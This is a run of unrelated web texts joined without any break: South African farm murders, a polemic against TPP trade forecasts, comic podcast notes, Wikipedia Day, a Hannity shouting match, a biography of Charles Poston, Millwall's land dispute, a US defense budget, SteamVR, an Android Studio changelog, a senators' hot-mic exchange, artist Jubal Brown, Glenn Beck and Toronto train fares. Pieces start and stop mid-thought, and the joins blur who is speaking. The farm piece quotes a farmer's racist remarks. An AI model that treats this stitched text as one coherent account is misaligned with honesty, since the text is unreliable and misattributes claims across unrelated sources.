“They (black people) truly think that we have stolen the country from them,” Limpopo-based farmer Gerhardus Harmse told AFP.
“We built this country, show me anything, any place that the blacks built — there isn’t any. They cannot build, they destroy.”
The radical fringe has become increasingly vocal.
Last month, some supporters flew the flag of the old white-minority government during a protest against farm murders.
The demonstration called on the government to guarantee farmers special protection — something that police minister Fikile Mbalula categorically refused.
“All deaths of all South Africans must be met with disgust,” wrote Mbalula in a Twitter post. “My problem is that farm murders are racialised and politicised.”
While black farmers have so far been largely reluctant to march with their white colleagues, they face many of the same risks.
“We don’t feel protected by the government,” said Vuyo Mahlati, president of the African Farmers Association of South Africa.
“We need to deal with everyone trying to utilise farming as a centre of a right-wing political discourse. That we are not going to allow.”
– ‘I will go back’ –
Feeling abandoned by the government, many white farmers have taken steps to protect themselves.
Some patrol their land under moonlight, pistols tucked into their belts, to deter would-be attackers.
Others undergo commando training in anticipation of the worst.
Among them is Marli Swanepoel, 37, who owns a farm in Limpopo.
“You have to be prepared. You have to protect yourself,” said the mother-of-three.
Hans Bergmann was recently assaulted on his farm, but takes a different approach.
Some weeks ago, armed men broke in to rob his safe, tied him up and shot him in the foot.
“In South Africa everybody thinks farmers have a lot of money,” he said.
Bergmann, who is in his sixties, declines to carry a gun or abandon his land.
“I just accept it… where do I go from here if I leave the farm?” he said.
Debbie Turner is scathing of the police who have yet to catch her husband’s killers — or even take a statement from her.
“It shows that what happened that night doesn’t mean anything to these people,” she said.
“I’m angry against those people who killed my husband. Sometimes I wish they could hang them.”
A typical example of this media complicity is a March 23 article in the Dodge City, Kansas, High Plains Journal entitled, “Senate struggles to advance Obama's trade promotion authority.”
The Journal article, which is tilted to support Trade Promotion Authority (TPA, also known as Fast Track) and the Trans-Pacific Partnership (TPP), says, “According to an analysis supported by the Peterson Institute, a TPP agreement provides global income benefits of an estimated $223 billion per year by 2025.” “Real income benefits to the United States are an estimated $77 billion per year,” the PIIE continues. “The TPP could generate an estimated $305 billion in additional world exports per year, by 2025, including an additional $123.5 billion in U.S. exports.”
More PIIE in the sky
Sounds great, doesn’t it? Simply rush the TPP pact through on the TPA Fast Track and America will be rolling in green in no time. Well, as the common wisdom advises, if it sounds too good to be true — it probably is. Especially if the carnival barker making the pitch is the same fast-talking fellow who last year tricked you into signing a contract without reading the fine print obligating you to indentured servitude for life! In case you didn’t notice, the PIIE “experts” promoting TPP are the same carnival barkers that made the same types of promises for NAFTA, CAFTA, the WTO, and other trade agreements.
Back at the time of the great battle over NAFTA, for instance, NAFTA supporters regularly cited studies by PIIE economists Gary Hufbauer and Jeffrey Schott to show that NAFTA would provide a huge boost to U.S. jobs and exports. In their influential 1993 PIIE paper, “NAFTA: An Assessment,” they predicted that under NAFTA “U.S. exports to Mexico will continue to outstrip Mexican exports to the United States, leading to a U.S. trade surplus with Mexico of about $7 [billion] to $9 billion annually by 1995.” Moreover, they said that the U.S. trade surplus with Mexico would rise to $12 billion annually between 2000 and 2010.
That was the PIIE promise, but what was the reality? In 1993, the year before NAFTA went into effect, the United States had a $1.66 billion trade surplus with Mexico; by 1995, the first year after NAFTA had entered into force, that changed to a $15.8 billion deficit . The deficits have escalated ever since, soaring to $24.5 billion in 2000, $49.8 billion in 2005, and $74.7 billion in 2007. From 2010 on, the deficits have been running in the $60+ billion range annually.
Instead of hundreds of billions of dollars surplus, we’ve gotten more than half a trillion dollars in trade deficit with Mexico. As we have reported previously:
In 1993, the year before NAFTA, we imported around 225,000 cars and trucks from Mexico. By 2005, our imports of Mexican-made vehicles had tripled to 700,000 vehicles annually, and in 2012 Mexico’s export of vehicles to the United States surpassed 1.4 million. Chrysler, Ford, and GM transferred major production facilities (and jobs) from the United States to Mexico.
The record with Canada, our other NAFTA partner, is similar. In 1993, our annual trade deficit with Canada was $10.7 billion; by 1995 it had ballooned to $17.1 billion, and by 2005 to $78.4 billion.
So how does the PIIE come up with its rosy statistical predictions for the TPP? The same they way they came up with their bogus NAFTA numbers, most likely. They simply invent them. The “prestigious” PIIE’s repetitive spectacular failures calls to mind the quip popularized by Mark Twain: “There are three kinds of lies: lies, damned lies, and statistics.”
Related article and videos:
Sen. Wyden Is Key Democrat in TPP-TPA Fast Track Trade Fight
Trading Away Their Oaths
How to Pass Disastrous Trade Agreements
GOP Leaders Set to Enable “ObamaTrade” With Fast Track for President
Trans-Pacific Partnership (TPP): Bigger and More Dangerous Than ObamaCare (Video)
Trans-Pacific Partnership (TPP): Assault on Our Sovereignty, Our Constitution, Our Liberty (Video)
Council On Foreign Relations
We do our final prep for the upcoming Logan movie by reviewing one of its comic book inspirations - Old Man Logan!
The Pull List:
Superior Foes of Spider-Man on ComiXology
Checkmate Book 1 on ComiXology
Other Links From This Week's Show:
Batman 66 Labels on Twitter
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Wikipedia's January birthday celebration
About [ edit ]
Wikipedia Day is an occasion to celebrate Wikipedia's birthday. Every year around January 15 Wikipedia fans organize their own parties in their own communities to discuss Wikipedia and share cake. Typical activities at these events include Wikipedia editors sharing what they did in Wikipedia last year, anyone proposing to share information in Wikipedia in the coming year, Wikipedia training for newcomers, and socializing.
On January 15, 2001, Wikipedia was established. Coincidentally, also on January 15, 2001 Creative Commons registered their website. Creative Commons developed the free and open copyright system which Wikipedia uses, and Wikipedia is the most enthusiastic community of the free media which Creative Commons promotes. Yet another festive event around this time is Public Domain Day, when on January 1 media will enter the public domain if the term of its copyright expired in the previous year.
Feel free to celebrate Wikipedia Day! Celebrate Creative Commons' birthday too, if you like! Combine Wikipedia Day, Creative Commons Day, and Public Domain Day all in one January celebration of open knowledge and free media.
Wikipedia Day 2019 [ edit ]
If you would host an event, create a WP:Meetup page for your city or organization and then list it here.
US
Northeast:
Southeast:
Midwest:
St. Louis – January 15, 2019
Chicago – January 26, 2019
Minnesota – January 19, 2019
Mountains:
Colorado Springs – January 19, 2019
Boulder, Colorado – January 20, 2019
West Coast:
Stanford, California – January 15, 2019
Los Angeles
Seattle – January 15, 2019
SPAIN
SERBIA
Celebration of Wikipedia 18 at Wikimedia Serbia office, Belgrade - January 15, 2019
Your event here!
Host an event [ edit ]
Radio host and frequent Hannity guest Bill Cunningham appeared on the June 20 edition of Hannity to debate Fox contributor Tamara Holder on the merits of claims that Attorney General Eric Holder mislead Congress while under oath. Out of the gate, Cunningham told Tamara Holder she was "one of the stooges of the left," pointing his finger at her while loudly shouting, "Sign the petition, Tamara! To call for the resignation of the chief law enforcement officer of this nation because he lied under oath when he criminalized journalism. And you know he did it but you refuse to do what's right." Holder replied that, "your finger does not prove your point," pointing back at Cunningham:
CUNNINGHAM: Whose finger's in my face right now? HOLDER: Mine, because I'm telling you to shut up. CUNNINGHAM: Wait a minute. You shut up. Know your role and shut your mouth. HOLDER: My role as a woman? CUNNINGHAM: Yeah. Yeah. [...] HOLDER: What is your obsession with stooges? Aren't stooges like little elves? CUNNINGHAM: I'm sitting next to you. I'm sitting next to you. And you're a liberal stooge and an excuse-monger for the Obama administration. HOLDER: Never mind. I -- CUNNINGHAM: What are you going to cry? HOLDER: No! I'm not going to cry. CUNNINGHAM: You're not going to cry?
The next morning, America's Newsroom dedicated a segment to whether Cunningham's behavior "crossed the line," concluding that conduct like this on Hannity stifled important public debate on national issues. Host Martha MacCallum appeared speechless after playing an excerpt of Cunningham's comments, asking, "Is this what we've come to? Is this civil society?"
Fox contributors Juan Williams and Mary Katherine Ham agreed that Cunningham's conduct was unacceptable, as Williams asserted, "He not only crossed the line, he obliterated the line ... I think it shut down the conversation. That doesn't help."
MacCallum shared the concern that personal attacks like Cunningham's damage the nation's ability to communicate, wondering, "What does this say, sort of, about our ability to communicate and you know, have a serious, respectful discussion on these things these days?" Williams replied, "What it does is, it makes it very difficult then to cross lines to have reasoned conversation."
Charles Debrille Poston (April 20, 1825 – June 24, 1902) was an American explorer, prospector, author, politician, and civil servant. He is referred to as the "Father of Arizona" due to his efforts lobbying for creation of the territory. Poston was also Arizona Territory's first Delegate to the U.S. House of Representatives.
Background [ edit ]
Poston was born near Elizabethtown, Kentucky to Temple and Judith Debrille Poston. His father was a printer and he served as a printer's devil. Poston was orphaned at the age of twelve, and was apprenticed to the local county clerk, Samuel Haycraft. Following his apprenticeship, he moved to Nashville, Tennessee where he clerked for the Tennessee Supreme Court while reading law.[3] Poston married Haycraft's daughter, Margaret, in September 1848 and the couple had a daughter, Sarah Lee Poston, who reached adulthood. Margaret Poston became paralyzed on February 12, 1851, possibly from a stroke while giving birth to a second child, and was cared for by relatives until her death from cancer on February 26, 1884. On July 27, 1885, Poston married former newspaper typesetter Martha "Mattie" Tucker. The couple separated shortly afterwards, but there is no evidence they ever divorced.
Early exploration and mining efforts [ edit ]
Poston traveled to California as part of the Gold Rush and took a clerk position at the San Francisco Customs House in February 1851. Poston was demoted in 1853 and complained that his replacement was a professional gambler and political appointee. While at this job, he became involved with a group of French bankers interested in the lands of the recently negotiated Gadsden Purchase. In late 1853, with the bankers' backing, Poston joined with mining engineer Herman Ehrenberg to organize an expedition into the territory Mexico was expected to sell to the United States. Taking a ship from San Francisco, the two became shipwrecked near the Mexican port of Guaymas. They were then detained temporarily by Mexican authorities as suspected filibusters before heading north to the Gadsden territory. The expedition visited San Xavier del Bac and Ajo, collecting mineral samples along the way, before traveling down the Gila River. At Fort Yuma, a U.S. Army post near the confluence of the Gila and Colorado River, Poston first met the fort's commander Major Samuel P. Heintzelman. While at Fort Yuma Poston surveyed a townsite on the south side of the river a mile below the fort, at Jaeger's Ferry. Poston sold the townsite called Colorado City for $20,000 when he returned to San Francisco.
The mining town and fort of Cerro Colorado, established by Poston and Major Heintzelmen.
After returning to San Francisco, Poston left for the East Coast in search of capital to fund a mining operation in the newly acquired territory. After several unsuccessful attempts, he was introduced to several Cincinnati, Ohio investors by Heintzelman. On March 24, 1856, US$2 million was secured to found the Sonora Exploring and Mining Company with Heintzelman as company president and Poston as managing supervisor. The company set up headquarters in Tubac, Arizona and began mining operations in the nearby Santa Rita Mountains and elsewhere. Poston served as alcalde of the settlement and became known as "Colonel" Poston in the town of roughly 800 people. Using the authority granted to him by the government of New Mexico Territory, he printed his own money and officiated over marriages, divorces, and the baptisms of children. This continued until Father Macheboeuf, the vicar of Bishop Jean-Baptiste Lamy, was sent from Santa Fe to investigate the goings-on in Tubac. The validity of the marriages Poston had performed was questioned by the vicar, and a US$700 donation made before Father Macheboeuf sanctified the unions. Charles Poston's brother, John, was murdered by Mexican outlaws at Cerro Colorado in southern Arizona, the town was established by Charles Poston.
Mining operations produced US $3000 per day in silver until 1861. With the withdrawal of Union troops due to the American Civil War, Tubac saw an increase in hostilities from local Apaches and the settlement had to be abandoned.
Arizona Territory [ edit ]
John Poston's grave, the brother of Charles Poston who was murdered by Mexican outlaws at Cerro Colorado, Arizona in 1861.
After being forced to leave Tubac due to the Apache siege, Poston went to Washington D.C. and worked for General Heintzelman as a civilian aide. During this time Heintzelman introduced him to President Abraham Lincoln. Poston in turn used this time to lobby both Lincoln and Congress for creation of an Arizona Territory, advertising the benefits of the area's mineral wealth to the Union cause. Toward the end of the process Poston attended an oyster dinner where the slate of territorial positions was divided among lame duck congressmen and Poston was selected as an Indian Agent for the new territory.
Poston commissioned Tiffany & Co. to create a US$1500 inkwell from Arizona silver and presented the inkwell to Lincoln upon signing of the Arizona Organic Act. On 12 March 1863 Poston was appointed superintendent of Indian affairs. This appointment was followed by his election as Delegate to the U.S. House of Representatives on 18 July 1864. During his term of service, Poston submitted bills aimed at settling private land claims and to establish Indian reservations along the Colorado river. In 1865, Poston chose not to return to Arizona during his run for reelection, and was defeated by John Noble Goodwin. A final run for election to the territorial delegate position failed in 1866.
Writing [ edit ]
After losing his position in Congress, Poston opened a law office in Washington D.C. In 1867 he traveled to Europe, spending time in both London and Paris. He then returned to Washington and in 1868 published a travel book, Europe in the Summer-Time. This was followed by U.S. Secretary of State William H. Seward commissioning Poston to deliver the Burlingame Treaty to the Emperor of China and to study irrigation and immigration in Asia. After China, Poston continued to India where he developed a fascination with the Parsi people and Zoroastrianism. He reached Egypt by early 1869 and was in Paris by April of that year. After living a year in Paris he moved to London where he spent the next six years. During this time he worked as an editor of a London newspaper, foreign correspondent to the New York Tribune, and as a "counselor-at-law". Poston also wrote several books during this time, publishing The Parsees in 1872, The Sun Worshippers of Asia in 1877, and his poem Apache Land in 1878. His work, Building a State in Apache Land was published in installments by Overland Monthly between July and October 1894.
Later life [ edit ]
Poston in his later years
Poston returned to the United States in time for the Centennial Exposition in Philadelphia. Through his acquaintance with John Bigelow, he then became a campaign worker for Samuel J. Tilden during the U.S. presidential election of 1876. Poston expected a consul position in London if Tilden had won the election, but instead was made register of the United States land office at Florence, Arizona from July 1877 till June 1879. During his time in Florence he became interested in building a Parsi fire temple on a nearby hill, paying for construction of a road to the summit. The temple itself was decorated with a blue and white flag depicting a red sun and built upon the ruins of an older Indian structure.[21] Construction ended when Poston ran out of funds.[22] He attempted to raise additional money, even writing to the Shah of Iran, but his efforts failed and the temple's eternal flame failed shortly thereafter.[21] This unusual interest led to Poston being criticized as a crank and eccentric.
Following his time in Florence he moved to Tucson and supported himself with a variety of positions including lecturer, mining and railroad promoter, and writer. In 1884 he became a consular agent in Nogales followed by an assignment as a civilian military agent in El Paso, Texas in 1887 and as employee of U.S. Geological Survey in 1889.
Inscription on the tomb of Charles D. Poston on Poston Butte in Florence, AZ.
Poston declined into obscurity until 1897 when Whitelaw Reid published an account detailing Poston's situation. As a result, the Arizona Territorial legislature awarded Poston a pension of US$25/month in 1899 and increased this to US$35/month in 1901. Poston died from apparent heart failure on June 24, 1902 in Phoenix, Arizona Territory.[25]
Despite his previously stated wish to be buried at the summit of Primrose Hill, Poston was initially buried in a pauper's grave in Phoenix.[22] His remains were removed from Phoenix and moved to Florence, Arizona, on the 100th anniversary of his birth, and buried on Primrose Hill, renamed, Poston Butte where he had never completed his "Temple to the Sun". He was entombed in an official ceremony led by Governor George W. P. Hunt.
Television depictions [ edit ]
Poston was portrayed in the 1965 episode "A City Is Born" by later Governor and U.S. President Ronald W. Reagan on the syndicated television series Death Valley Days. In the story line, Poston is a mining developer and surveyor engaged in a race against time to reach San Diego, California, for an important meeting with bankers.[27]
In another Death Valley Days segment in 1966, Robert Taylor, Reagan's successor as the series host, played Poston in the episode "The Day All Marriages Were Cancelled". The story stemmed from a dispute between Poston and the Roman Catholic bishop, who questioned how Poston through his role as alcalde could perform secular marriages at no costs to the couples involved in the absence of available priests. During a civil trial, the church relents, and the marriages were declared legal once again. Willard Sage played the role of Father McCabe in this episode.[28]
Millwall Football Club have admitted for the first time that they may be forced to leave their south London home and relocate to Kent should the seizure of their land go ahead. Lewisham council’s plan to compulsorily purchase areas around the Den and sell them on to a mysterious offshore developer with connections to the current Labour administration has already drawn both disbelief and mass protest.
With the CPO likely to be confirmed at a council meeting next Wednesday Millwall have conceded publicly for the first time the club could have to leave the area that has been their home since 1910. In a statement Steve Kavanagh, their chief executive, told the Guardian: “The chairman has always been determined that this would never happen, but under such circumstances any and every option would have to be considered to secure the football club and the Millwall Community Trust’s future as viable concerns.”
Millwall compulsory purchase order hearing adjourned by Lewisham council Read more
Millwall have so far been cautious about conceding relocation might be the real threat. But with the community trust already set to be evicted and the club excluded from the benefits of the regeneration scheme, it also emerged last month that their academy may be unable to function under the current proposals.
There is no suggestion yet of a specific alternative site. The north Kent coast has been mentioned more broadly in the past, an uprooting that would see the club plonked down up to 75 miles from its historic home. Such a move would also be a stunning blow to Lewisham itself. A London borough with a population the size of Iceland would be left without a professional sports club of any kind.
Should the order be confirmed the ripples will be felt by other league clubs in areas where rising land prices are likely to attract developers with an eye on regeneration. Supporters of nearby Charlton Athletic and Leyton Orient will be watching with interest, as will other mid-size Football League clubs across the country.
Until now concerns over the Millwall land-grab have centred on the council’s historic relationship with the offshore developers Renewal. Renewal’s chief executive is a former Lewisham officer and colleague of the current Lewisham chief executive, Barry Quirk, an unelected official best known locally for being paid more pro rata than the prime minister for working a three day week. In another bizarre twist Renewal was also set up and originality part-owned by the previous Labour mayor of Lewisham, Dave Sullivan. Sullivan has stated he no longer has any part in the company, which is owned by two anonymous offshore trusts based in the Isle Of Man and the British Virgin Islands.
The chair of Lewisham’s own overview & scrutiny committee, Alan Hall, has been a lone voice inside the council with the courage to speak out against the CPO process. “Millwall Football Club are part of the cultural history of London and Lewisham with over 100 years in the borough,” Hall said. “Over the past five years Renewal’s original outline planning application has fallen apart in slow motion in front of our very eyes. The ever-shrinking proposed ‘sporting village’ will drive away one of football’s most famous clubs and its highly successful community scheme.”
The AMS Millwall supporters’ organisation has led the fight on behalf of the club’s fans. On Wednesday the AMS published its own open letter to Quirk, who has emerged as the driving force behind the scheme – the mayor, Sir Steve Bullock, having stepped back due the fact he is, astonishingly, director of a Renewal-associated company, the Surrey Canal Sporting Trust.
Millwall given new hope in land battle as disquiet grows over property deal Read more
The AMS letter points to the alarming democratic deficit in Lewisham’s elected mayor system. The current setup, introduced as a Blair government initiative, has left the borough with a largely unregulated cabinet and a chief executive, in the shape of Quirk, who has no mandate, is electorally unaccountable, but is currently heading up a scheme that will evict local residents from their homes.
The letter also points out that the council’s attempts to provide reassurance on the probity of its plans in the form of an email from Mushtaq Malik, Renewal’s CEO, are likely to be met with derision. “Is it right,” the AMS asks, “that the council has been put in a position where its chief executive is reduced to publishing emails from a third party actively denying that inside deals, murkiness and personal relationships are in play?”
The AMS also voiced its own fears that offshore developers could be allowed to succeed where the Luftwaffe’s bombs and successive economic depressions have previously been staved off: “Failure to listen to genuine concerns could, we fear, lead to Millwall Football Club’s loss of academy status as recognised by the EFL and ultimately the club being forced to relocate from the London borough of Lewisham.”
Rep. Mac Thornberry (R-Texas) told reporters Thursday that "as no surprise" the committee was moving forward on the figure.
“I think $640 is what we need to address the problems that have developed from sequestration and that tempo of operations over the years," he said, referring to automatic spending cuts.
The move sets up a potential showdown with the White House, which proposed a $603 billion defense budget. It also could be in conflict with Congress's budget, as the Budget Committee is eyeing a $621 billion defense budget.
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All three figures are higher than caps set by the 2011 Budget Control Act (BCA), which is $549 billion.
Thornberry stressed that negotiations are ongoing and that he could be convinced to lower the topline in the National Defense Authorization Act (NDAA) before next week’s mark up if he gets assurances on stability for future funding.
“If I were to agree to a lower number, I would need some sort of added stability to the out years,” he said.
“What we’ve done under the BCA is every year try to scramble to try to figure out how to avoid a disaster and meanwhile the problems keep mounting. There is value if we can get away from this and have more stability, more predictability for future years defense," he added.
Coupled with a war fund known as the Overseas Contingency Operations (OCO) account, the committee’s version of the NDAA as it stands now would authorize $705 billion for the Pentagon and other defense programs such as the Energy Department’s nuclear weapons programs.
Thornberry has the power to set the NDAA at whatever funding level he pleases regardless of what budget Congress passes. But experts have said that’s inadvisable as it sends mixed messages to the Pentagon and itself causes instability.
Asked about that issue, Thornberry said Thursday that budget instability can’t get worse than it is now.
“I don’t think we’re going to be creating any more instability than they’ve lived under under the BCA, where they’ve had to wait until December and see if we can have a big enough OCO and all of those things,” he said. “If we can get everybody on the same page, I think that’s better. If we can provide some stability over the next several years, I think that’s even better, and that’s my goal, but we’ll take this a step at a time.”
It’s unclear what specifically will get Thornberry to agree to a lower NDAA topline.
“I want something where $549 [billion] is not hanging over our heads, and there’s a variety of ways to do that,” he said. “I think we can start setting the table that would encourage either a repeal of the caps or a reset of the caps or something along that line.”
“There’s several pieces in the conversation,” he added later. “I would in general say there’s a value to me and to the Pentagon and to I think all of the managers involved in defense to have greater stability in defense budgets.”
The GOP chairman said he doesn’t expect pushback from the Pentagon on going higher than the administration’s budget request, given that Defense Secretary James Mattis told his committee he supports what’s in the services's unfunded requirement lists submitted to Congress.
At hearings on Capitol Hill last week, Mattis said he didn’t oppose the services's unfunded requirements lists, but that he believes the administration’s request was a sufficient start to address readiness issues.
Accompanying Microsoft's big Mixed Reality push is Valve's SteamVR, which houses one of the largest libraries of VR games for PC.
Starting today, developers will be able to begin testing their SteamVR games on Windows Mixed Reality headsets, ahead of a consumer preview set to go live later this holiday season.
SteamVR sports some of the most popular VR titles out there, including Superhot VR, Job Simulator, and soon, Fallout 4 VR. Coupled with in-house titles such as Halo: Recruit and with Valve's backing through Steam, Windows Mixed Reality should get a huge gain in credibility, helping it to catch up to of Oculus Rift for VR gaming.
While this may have been an over-the-top attempt to honor the military, it appeared more like a Halloween leftover at best, or an insult to those that do serve, at worst. The latter of which was expressed by an active duty member of the military to Paul Lukas of ESPN.com.
Here is a snippet of that observation. The rest can be read at Uni-watch.com...
"Mike London was wearing what can only be described as a bastardized set of Marine Corps "cammies." He had the top, pants and eight-point hat...But he was also wearing a navy blue shirt and sneakers. He also had gold chains hanging out — although those weren't visible when he had his top buttoned up completely (which itself is wrong unless there's a specific reason to do it). UVA assistants and staff also wore the pants of the various services, all in the name of "military appreciation.""
This build contains a large number of bug fixes. Performance: We fixed two big memory leaks -- one related to Gradle sync and the other related to layout rendering; both should help significantly with memory usage. We also improved the locking behavior of layout XML preview so it shouldn't cause the editor to lag when typing during background layout preview rendering.
Instant Run: A number of important bug fixes which should help with performance and correctness:
Fixed a bug where assets were not properly packaged
Disable the small optimization where edits in the main app module skip certain tasks: this was not safe and could lead to some edits missing when running the app
Fix a bug which meant assets would not be incrementally packaged in alpha4
No longer crunch PNGs in library dependencies
Fix bug where updating launcher icons would not trigger an app reinstall
Layout Editor:
Auto connect mode is now off by default.
New constraint layout library version alpha4.
There's a lint warning (and quickfix to update) if you're using alpha3 or older.
The focus of the update is on layout performance.
There's also documentation on the various attributes, and code completion should work better with this version in the IDE
Note : There is an incompatible change in the Guideline class and attributes: layout_constraintGuide_begin, layout_constraintGuide_end and layout_constraintGuide_Percent
: There is an incompatible change in the Guideline class and attributes:
The resize screen feature has been tweaked visually and should be much faster.
The screenshot action has been added back to the Context menu, and there is a preference panel in options where you can set the "prefer XML editor for layout files" option as in previous releases.
Lint icons no longer show up on the design surface by default, but you can turn them back on via options (including from the lint notifications panel.)
PhotoShop file support: Layers in 16 bit and 32 bit images are now decoded
Fixed many bugs, including the <include> bug starred by a bunch of users where on Windows, include tags would stop working
Other: A lot of fixes across the product - in deployment, editor, data binding, C++/CMake/NDK support, lint, Espresso test runner, Firebase, etc.
Updated platform metadata for Android Nougat (e.g. code completion for context.getSystemService() should return all the valid constants as of N, etc.)
Fixes for the most common exceptions reported via the crash reporter Thanks to everyone for their bug and crash reports, and keep them coming!
The audio, posted by The Washington Free Beacon on Tuesday (below), features the two senators having a rather hushed conversation about the president.
The audio begins with Collins slamming the "irresponsible" budget process under Trump. Reed replies by saying that he suspects that Trump is in fact "crazy." Collins, appearing to agree, responds, "I'm worried," and then goes on to question if Trump is even aware that certain key procedures and laws exist.
"I swear, OMB [the Office of Management and Budget] just went through and whenever there was 'grant,' they just X it out. With no measurement, no thinking about it, no metrics, no nothing," says Collins.
"No, nothing," agrees Reed.
"It's just incredibly irresponsible," says Collins.
That's when Reed turns the conversation to Trump's mental health, an increasingly prominent theme among Democrats.
"Yes," says Reed, adding softly, "I think — I think he's crazy ..."
"I'm worried," Collins says, apparently agreeing.
"I mean, I don’t say that lightly and as 'a kind of a goofy guy,'" Reed adds. "If we don't get a budget deal, we're going to be paralyzed ..."
"I don’t think he knows there is a BCA [2011 Budget Control Act] or anything," says Collins.
The conversation continues, with both senators describing in alarmed terms Trump's handling of the budget.
One other notable moment occurs when Collins brings up Republican Rep. Blake Farenthold (TX) joking Monday that he wishes he could challenge the Republican senators voting "no" on a clean repeal of Obamacare to a duel. Reed says Farenthold just wants a duel because "you could beat the s*** out of him." Collins responds by slamming Farenthoold as "huge" and "so unattractive."
Hot mic audio below via The Washington Free Beacon:
Along with Alaska's Lisa Murkowski, Collins was one of only two Republican "no" votes to allowing the Obamacare repeal and replacement effort to move forward in the Senate on Tuesday. Reed, who voted "no" along with his 47 Democratic colleagues, made sure to praise his friend and her fellow GOP dissenter in a statement issued after the vote.
"The Affordable Care Act enshrined basic health care security, portability, and consumer protections for all Americans," said Reed. "Yet, Republicans, with the two brave exceptions of Senators Collins and Murkowski, voted today to move forward with their repeal efforts with no plan as to what bill they will vote on later this week. What we do know is that every version of Trumpcare that we have seen so far would strip away the gains of the ACA, deny people access to affordable health coverage, increase costs, and destabilize insurance markets."
Brown has made a number of videos, many of which have been screened in North America and Europe.[3] Canadian Art magazine called Brown "the dark prince of Toronto art".[4]
Biography [ edit ]
Jubal Brown graduated at the Ontario College of Art and Design, and is a founding member of the famefame media-art collective.
Brown has made a number of videos that have been screened in North America and Europe.[3] His works have been well received in London,[4] and Canadian Art magazine called some of them "the most provocative and intelligent (and often very funny) video works to come out of Toronto in years".[4] Many of his videos are made up of hundreds of brief samples taken from mainstream media, all packed together to create a "hyper-dense, jittery, relentless (and often deeply disturbing) audiovisual assault".[4] Brown said that his intention was to "push the ideas of mass media to their logical and ridiculous conclusions: sex, death, speed, power".[3] He believes that there is a lot of "useless information" in films, and his videos condense the material into "its one telling moment". He said that "our generation is raised on media and we can therefore eat a lot more, much more quickly."[4]
The Blob (9 min) is a video Brown released in 2000 which includes cut-ups of the 1958 science fiction/horror film, The Blob, its 1988 remake, plus many other media sources themed on paranoia. Operation (1999) is a 10-minute recording of Brown performing surgery on himself. In the spirit of body-art mutilation, he attempts to remove a lump of fat on his torso with a pocket knife.[4] When Operation was shown in London, many viewers had to look away, which is the effect the video set out to achieve.[4] Life Is Pornography (2005, 23 min) includes clips of genocides rated as video game scores, stills of "horrible" images, like a picture of someone's eye with a nail through it, and a rework of fragments of the Britney Spears video, Toxic. A voice-over calls pornography the "reduction of human culture into exploitable parts". Mike Hoolboom writing in Practical Dreamers: Conversations With Movie Artists called Life Is Pornography "a deeply wounded, romantic and despairing tape".
Brown released his longest video, Total War (53 min) in 2008. He said it "brings together a lot of the ideas, emotionally and technically, I've been developing over the past 10 years".[9] The video highlights the media excesses that modern warfare evokes. Brown believes Iraq was the first "YouTube war",[9] and Total War includes YouTube clips, network news clips, action film scenes, TV sitcom fragments, and other "found-footage".[10] ArtUS described Total War as Brown's first "breakout work", with elements of streams of consciousness, in contrast to his previous fast-paced, trance-like mashups.[10]
Controversies [ edit ]
In 1996, Brown vandalised two paintings in art galleries by vomiting on them. The first was on May 15 in the Art Gallery of Ontario in Toronto, where he threw up red vomit on Raoul Dufy's Harbor at le Havre after eating red gelatin and red cake icing.[1][2] The second attack was on November 2 in the Museum of Modern Art in New York, when he ate blue Jell-O and blue cake icing and projectile-vomited in blue on Piet Mondrian's Composition With Red and Blue.[1]
Neither of the paintings was damaged and both were successfully cleaned.[11] The galleries initially believed that the incidents were accidental, but in early December 1996, Brown admitted that his actions were deliberate. He said that they were part of a "performance art trilogy" entitled "Responding to Art" that targeted "oppressively trite and painfully banal" works.[1][11] He said Harbor at le Havre "was just so boring it needed some colour",[11] and he found Composition With Red and Blue "lifelessness threatening".[12] The Ontario College of Art and Design called Brown's behaviour "reprehensible in the extreme" and issued apologies to the museums in Toronto and New York, but took no further action against him.[13] Brown's intention was to attack three paintings, each with one of the three primary colours: blue, red and yellow, but he never completed the trilogy with yellow.[2][11]
In 2001 Brown defended a student at his bail hearing after he was arrested in Toronto for being one of three students who had made a 17-minute video of a cat being skinned alive and beheaded. The students from the Ontario College of Art and Design claimed it was "a work of art" and "a political statement condemning meat consumption".[14][15] Brown said, "I don't support the killing of animals for food or art. But whether it is art is not for us to answer."[14]
Selected videography [ edit ]
Source: Practical Dreamers: Conversations With Movie Artists
Fuck the Black Hole (1997, 5 min)
(1997, 5 min) Dead Museum (1999, 10 min)
(1999, 10 min) Intimate Moment (1999, 5 min)
(1999, 5 min) Operation (1999, 10 min)
(1999, 10 min) The Blob (2000, 9 min)
(2000, 9 min) Deathday Suit (2002, 8:41 min)
(2002, 8:41 min) Speed (2002, 11 min)
(2002, 11 min) Satanism, Just Be Yourself (2003, 6 min) The Worst Ever (2003, 7 min)
(2003, 7 min) The 6th Day (2004, 9:25 min)
(2004, 9:25 min) The Blackness (2004, 15 min)
(2004, 15 min) In Bloom (2004, 15 min)
(2004, 15 min) Life Is Pornography (2005, 23 min)
(2005, 23 min) We're in Heaven (2005, 33 min)
(2005, 33 min) Party Tap #52 (2006, 6 min)
(2006, 6 min) Total War (2008, 53 min)
Selected exhibitions [ edit ]
Source: Experimental Television Center[17]
See also [ edit ]
But Beck also gives a 10-minute interview with Raj Nair, GBTV’s head correspondent, during which both speak about misconceptions surrounding Beck. At one point, Beck asks himself and Nair about what the average person thinks of his political leanings, and Nair agrees the perception is that he is a Republican.
Not so, says Beck.
“I hate them. I think they are as much of a problem as the other side,” Beck says, walking alongside Nair on the streets of New York. He then invokes George Washington, saying Washington warned of the danger in political parties.
“If you speak out in today’s world, you’re either a Republican or Democrat. How about just being real?” he later says.
comments closed
About 5,300 people rode the Union Pearson Express train on the first day of reduced fares. ( Steve Russell / Toronto Star file photo )
Before the price drop, the UPX was only drawing about 2,000 to 2,200 riders. Last Wednesday, the first day of the new prices, 83 per cent of UPX riders were air travellers. The other 17 per cent were commuters, said Metrolinx spokeswoman Anne Marie Aikins. Staff counted about 5,300 boardings that day and that’s held steady since, she said. Forty per cent of Wednesday’s riders were first-time UPX users.
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“Thursday and Friday were a lot of March Break travellers so ridership was even higher than the first day,” she said. A more precise count of revenue ridership takes about six weeks, she said. Metrolinx approved the lower fares last month after Premier Kathleen Wynne said the number of empty trains — the UPX runs every 15 minutes in both directions between Union Station and Pearson — was unacceptable. Tickets were slashed to $9 for Presto card holders from $19 and, $12, down from $27.50 for those paying cash. Discounted fares and airport employee pass prices were also reduced. “It’s really quite heartening to watch the trains leave full and we often send out completely full trains so staff are very pleased,” said Aikins, who works at the Metrolinx head office at Union Station.
